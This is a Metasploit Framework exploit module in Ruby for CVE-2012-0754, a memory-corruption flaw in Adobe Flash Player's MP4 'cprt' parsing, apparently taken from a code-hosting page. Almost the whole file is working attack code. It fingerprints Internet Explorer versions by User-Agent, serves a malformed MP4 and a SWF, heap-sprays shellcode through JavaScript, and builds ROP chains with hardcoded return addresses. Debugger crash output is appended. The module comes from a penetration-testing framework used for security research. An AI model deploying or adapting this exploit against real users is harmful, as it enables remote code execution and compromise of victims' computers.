336 lines
8.9 KiB
Ruby
336 lines
8.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({
|
|
:os_name => OperatingSystems::WINDOWS,
|
|
:method => "GetVariable",
|
|
:classid => "ShockwaveFlash.ShockwaveFlash",
|
|
:rank => NormalRanking, # reliable memory corruption
|
|
:javascript => true
|
|
})
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Adobe Flash
|
|
Player. By supplying a corrupt .mp4 file loaded by Flash, it
|
|
is possible to gain arbitrary remote code execution under the
|
|
context of the user.
|
|
|
|
This vulnerability has been exploited in the wild as part of
|
|
the "Iran's Oil and Nuclear Situation.doc" e-mail attack.
|
|
According to the advisory, 10.3.183.15 and 11.x before
|
|
11.1.102.62 are affected.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Alexander Gavrun', # Vulnerability discovery
|
|
'sinn3r', # Metasploit module
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-0754' ],
|
|
[ 'OSVDB', '79300'],
|
|
[ 'BID', '52034' ],
|
|
[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ],
|
|
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-03.html' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00",
|
|
'DisableNops' => true
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Flash Player 11.1.102.55
|
|
# Flash Player 10.3.183.10
|
|
[ 'Automatic', {} ],
|
|
[
|
|
'IE 6 on Windows XP SP3',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x800 - code.length',
|
|
'Ret' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[
|
|
'IE 7 on Windows XP SP3',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x800 - code.length',
|
|
'Ret' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[
|
|
'IE 8 on Windows XP SP3 with msvcrt ROP',
|
|
{
|
|
'Rop' => :msvcrt,
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x77c15ed5,
|
|
'ppr' => 0x77C1CAFB
|
|
}
|
|
],
|
|
[
|
|
'IE 8 on Windows XP SP3 with JRE ROP',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x77c15ed5,
|
|
'ppr' => 0x77C1CAFB
|
|
}
|
|
],
|
|
[
|
|
'IE 7 on Windows Vista',
|
|
{
|
|
'Rop' => nil,
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x0c0c0c0c
|
|
}
|
|
],
|
|
[
|
|
'IE 8 on Windows 7 SP1',
|
|
{
|
|
'Rop' => :jre,
|
|
'Offset' => '0x5f4',
|
|
'Ret' => 0x7c348b05,
|
|
'ppr' => 0x7c34272e
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Feb 15 2012",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def junk(n=4)
|
|
return rand_text_alpha(n).unpack("V").first
|
|
end
|
|
|
|
def get_payload(t, cli)
|
|
|
|
if t['Rop'].nil?
|
|
code = ""
|
|
else
|
|
#Fix the stack to avoid anything busted
|
|
code = "\x81\xC4\x54\xF2\xFF\xFF"
|
|
end
|
|
code << payload.encoded
|
|
|
|
# No rop. Just return the payload.
|
|
return code if t['Rop'].nil?
|
|
|
|
rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'
|
|
rop_target = (rop_name == 'msvcrt') ? 'xp' : ''
|
|
|
|
pivot = [t['ppr']].pack('V*') #POP/POP/RET
|
|
pivot << [junk].pack('V*')
|
|
pivot << [t.ret].pack('V*')
|
|
|
|
code = generate_rop_payload(rop_name, code, {'target'=>rop_target})
|
|
return code
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
return targets[1] #IE 6 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
|
return targets[2] #IE 7 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
|
return targets[3] #IE 8 on Windows XP SP3
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
|
return targets[5] #IE 7 on Windows Vista
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
|
return targets[6] #IE 8 on Windows Vista SP1 with JRE
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
@swf = create_swf
|
|
super
|
|
|
|
#
|
|
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
|
|
#
|
|
proc = Proc.new do |cli, req|
|
|
on_request_uri(cli, req)
|
|
end
|
|
|
|
self.add_resource({'Path'=>'/test.mp4', 'Proc'=>proc})# rescue nil
|
|
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
agent = request.headers['User-Agent']
|
|
my_target = get_target(agent)
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
if my_target.nil?
|
|
print_error("Browser not supported: #{agent}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
print_status("Client requesting: #{request.uri}")
|
|
|
|
# The SWF requests our MP4 trigger
|
|
if request.uri =~ /\.mp4$/
|
|
print_status("Sending MP4...")
|
|
mp4 = create_mp4(my_target)
|
|
send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
|
|
return
|
|
end
|
|
|
|
if request.uri =~ /\.swf$/
|
|
print_status("Sending Exploit SWF")
|
|
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
|
|
return
|
|
end
|
|
|
|
p = get_payload(my_target, cli)
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
|
|
|
|
js_pivot = <<-JS
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
|
|
|
heap_obj.gc();
|
|
heap_obj.debug(true);
|
|
for (var i=1; i < 0x1C2; i++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
heap_obj.debug(true);
|
|
JS
|
|
|
|
js_pivot = heaplib(js_pivot, {:noobfu => true})
|
|
|
|
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
|
swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"
|
|
|
|
html = %Q|
|
|
<html>
|
|
<head>
|
|
<script>
|
|
#{js_pivot}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<center>
|
|
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
|
|
id="test" width="1" height="1"
|
|
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
|
<param name="movie" value="#{swf_uri}" />
|
|
<embed src="#{swf_uri}" quality="high"
|
|
width="1" height="1" name="test" align="middle"
|
|
allowNetworking="all"
|
|
type="application/x-shockwave-flash"
|
|
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
|
</embed>
|
|
|
|
</object>
|
|
</center>
|
|
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
html = html.gsub(/^\t\t/, '')
|
|
|
|
print_status("Sending html")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
|
|
def cleanup
|
|
print_status("Removing mp4 resource")
|
|
remove_resource('/test.mp4') rescue nil
|
|
super
|
|
end
|
|
|
|
def create_swf
|
|
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
|
|
fd = ::File.open( path, "rb" )
|
|
swf = fd.read(fd.stat.size)
|
|
fd.close
|
|
|
|
return swf
|
|
end
|
|
|
|
def create_mp4(target)
|
|
mp4 = ""
|
|
mp4 << "\x00\x00\x00\x18"
|
|
mp4 << "ftypmp42"
|
|
mp4 << "\x00\x00\x00\x00"
|
|
mp4 << "mp42isom"
|
|
mp4 << "\x00\x00\x00\x0D"
|
|
mp4 << "cprt"
|
|
mp4 << "\x00\xFF\xFF\xFF"
|
|
mp4 << "\x00\x00\x00\x00"
|
|
mp4 << "\x0c\x0c\x0c\x0c" * 2586
|
|
|
|
return mp4
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
|
|
|
|
(4b4.1d0): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
eax=0c0c0c0c ebx=00000000 ecx=0308b1a0 edx=00000004 esi=0308b1a0 edi=00000001
|
|
eip=027a2626 esp=0377fec0 ebp=0377ff0c iopl=0 nv up ei pl zr na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx -
|
|
Flash11e+0x52626:
|
|
027a2626 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
|
|
|
|
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx
|
|
|
|
(510.9b4): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
|
|
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
|
|
Flash10x+0x48b65:
|
|
10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
|
|
=end
|